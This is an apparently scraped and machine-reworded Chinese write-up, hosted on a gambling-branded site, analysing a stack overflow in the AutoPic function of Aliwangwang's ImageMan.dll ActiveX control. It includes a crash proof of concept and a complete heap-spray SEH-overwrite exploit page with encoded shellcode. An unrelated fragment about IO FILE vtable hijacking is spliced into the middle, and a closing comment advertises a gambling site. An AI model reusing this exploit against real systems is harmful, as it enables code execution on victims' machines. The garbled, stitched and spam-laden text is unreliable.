欢迎访问Sunbet,Sunbet是欧博Allbet的官方网站!

首页Sunbet_安全预警正文

剖析某旺ActiveX控件ImageMan.dll栈溢出破绽

b9e08c31ae1faa592020-06-0841安全技术漏洞分析

0x1:破绽引见

阿里旺旺ActiveX控件ImageMan.dll动态链接库中有一个函数AutoPic,因为未对传入的参数长度举行校验致使栈溢出,在拷贝缓冲区数据时会读取到不可用地点,从而使顺序进入SEH非常处置惩罚流程,经由过程计算好缓冲区到SEH非常处置惩罚组织的位置用指定长度的字符串准确掩盖SEH指针从而掌握顺序实行流程到达实行恣意代码的结果。

0x2:破绽剖析环境

操作系统:windowsXP SP3
阿里旺旺版本:AliIM2010_taobao(6.50.00C)
调试器:OD

0x3:破绽复现

POC代码以下:

<html>
 <body>
 <object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
 <script>
 var buffer = '';
 while (buffer.length < 1111) buffer+="A";
 target.AutoPic(buffer,"defaultV");
 </script>
 </body>
</html>

搭建好环境后,用OD附加IE浏览器后F9运转IE,用IE翻开POC文件后提醒读取到了一个不可用的地点,同时能够看到右下角的栈区被超长的字符串”AAA......(ascii为41)”填满了,应该是发作了缓冲区溢出:
剖析某旺ActiveX控件ImageMan.dll栈溢出破绽  安全技术 漏洞分析 第1张

0x4:破绽剖析

按“Crtl+F2”用OD从新加载此时IE并运转,先不加载POC文件,按“ALT+E”翻开模块列表然后找到OLEAUT32,双击进入该模块,接着按“Crtl+N”在函数列表中找到DispCallFunc,双击进入该函数,往下找到“call ecx”指令,双击下断点,然后用IE浏览器翻开POC文件,顺序会断在之前的“call ecx”处:
剖析某旺ActiveX控件ImageMan.dll栈溢出破绽  安全技术 漏洞分析 第2张

然后F7单步进入该函数,来到函数AutoPic的入口处:
剖析某旺ActiveX控件ImageMan.dll栈溢出破绽  安全技术 漏洞分析 第3张

IO FILE 之劫持vtable及FSOP

之前的文章对IO FILE相关功能函数的源码进行了分析,后续将对IO FILE相关的利用进行阐述。 传送门: IO FILE之fopen详解 IO FILE之fread详解 IO FILE之fwrite详解 IO_FILE之fclose详解 经过了前面对于fopen等源码的介绍,知道了IO FILE结构体里面有个很重要的数据结构--vtable,IO函数的很多功能都是通过它去实现的。接下来主要描述如何通过劫持vtable去实现控制函数执行流以及通过FSOP来进行利用。 vtable劫持 本文是基于libc 2.23及之前的libc上可实施的,libc2.24之后加入了vtable check机制,无法再构造vtable。 vtable是_IO_FILE_plus结构体里的一个字段,是一个函数表指针,里面存储着许多和IO相关的函数。 劫持原理 _IO_FILE_plus结构体的定义为: struct _IO_FILE_plus { _IO_FILE file; const struct _IO_ju

F8往下实行就看到用于考证缓冲区溢出的超长字符串“AAAA......”:
剖析某旺ActiveX控件ImageMan.dll栈溢出破绽  安全技术 漏洞分析 第4张

接着往下走来到0x10011CAC,溢出就发作在这里:
剖析某旺ActiveX控件ImageMan.dll栈溢出破绽  安全技术 漏洞分析 第5张

能够发明拷贝字符串之前未对字符串长度举行校验,终究致使溢出。

发作溢出后客栈均衡被损坏,顺序出现非常,最先进入非常处置惩罚流程,因为缓冲区中的字符串长度太长,掩盖了栈区中的非常处置惩罚组织指针,因而能够经由过程经心组织传入的字符串,掌握好掩盖非常处置惩罚组织指针的字节,从而在溢出发作后掌握eip到指定位置实行shellcode。

0x5:破绽应用
破绽应用代码(EXP)参考了泉哥写的,运用的手艺是经常使用的堆放射,溢出后准确掩盖SEH指针,当顺序实行非常处置惩罚翰苏时就会跳转到指定地点,进入后堆喷代码后就能够实行恣意代码

<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object> 
<script>

shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;

while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);

while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();

for( counter=0; counter<200; counter++) 
    memory[counter]= block + shellcode;
s='';
for( counter=0; counter<=1000; counter++) 
    s+=unescape("%0D%0D%0D%0D");

target.AutoPic(s,"defaultV");

</script>
</body>
</html>

翻开该HTML页面后能够看到胜利弹出了计算器:
剖析某旺ActiveX控件ImageMan.dll栈溢出破绽  安全技术 漏洞分析 第6张


网友评论

1条评论
  • 2020-06-08 00:00:03

    欧博网址开户www.cx11gw.cn欢迎进入欧博网址(Allbet Gaming),欧博网址开放会员注册、代理开户、电脑客户端下载、苹果安卓下载等业务。挺出色的